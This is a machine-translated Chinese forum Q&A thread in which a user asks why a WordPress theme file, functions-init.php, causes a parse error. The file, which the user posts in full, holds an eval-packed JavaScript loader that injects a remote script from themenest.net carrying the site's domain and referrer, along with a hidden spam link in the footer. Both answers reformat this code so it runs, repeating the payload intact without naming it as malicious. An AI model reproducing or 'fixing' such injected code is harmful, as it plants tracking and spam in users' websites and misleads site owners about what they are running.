-1

我想知道是否有人会花一点时间查看代码并帮助我。我不是 php 精通,我需要一些帮助。

我已经在我的 wordpress 上安装了一个主题,当我激活它时,我收到了这个错误消息:

解析错误:语法错误,第 1 行 /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php 中的意外“}”

该消息显示在我的前端域和我的后端 wordpress 管理区域。

我猜我有一个太多或一个太少的括号。但我不确定在哪里。我看不到实际的错误,因为我不熟悉 php 编码。我所知道的是它在第 1 行,它与“}”有关

整个文件仅包含 2 行代码,如果有人可以提供帮助,我将不胜感激。

这是出现在 functions-init.php 中的完整代码

<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>

谁能帮助我。我已经护目镜,我已经搜索了论坛和网络,但我没有找到解决方案。

提前谢谢。

4

2 回答 2

3

这可能只是代码格式的问题,试试这个:

<?php
if (!function_exists('insert_jquery_slider')){
    function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
    }
    add_action('wp_head', 'insert_jquery_slider');
}

if (!function_exists('insert_jquery_slidernew'))
{
    function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
    }

    add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
于 2013-10-04T09:03:26.133 回答
1

这样的代码格式问题:

<?php
if (!function_exists('insert_jquery_slider')) {
    function insert_jquery_slider()
    { ?>
    <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
    <?php } 
    add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew')) {
    function insert_jquery_slidernew()
    { ?>
    <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> 
    <?php }
    add_action('wp_footer', 'insert_jquery_slidernew');
}
?> 

请关闭话题。谢谢。

于 2013-10-04T10:03:45.303 回答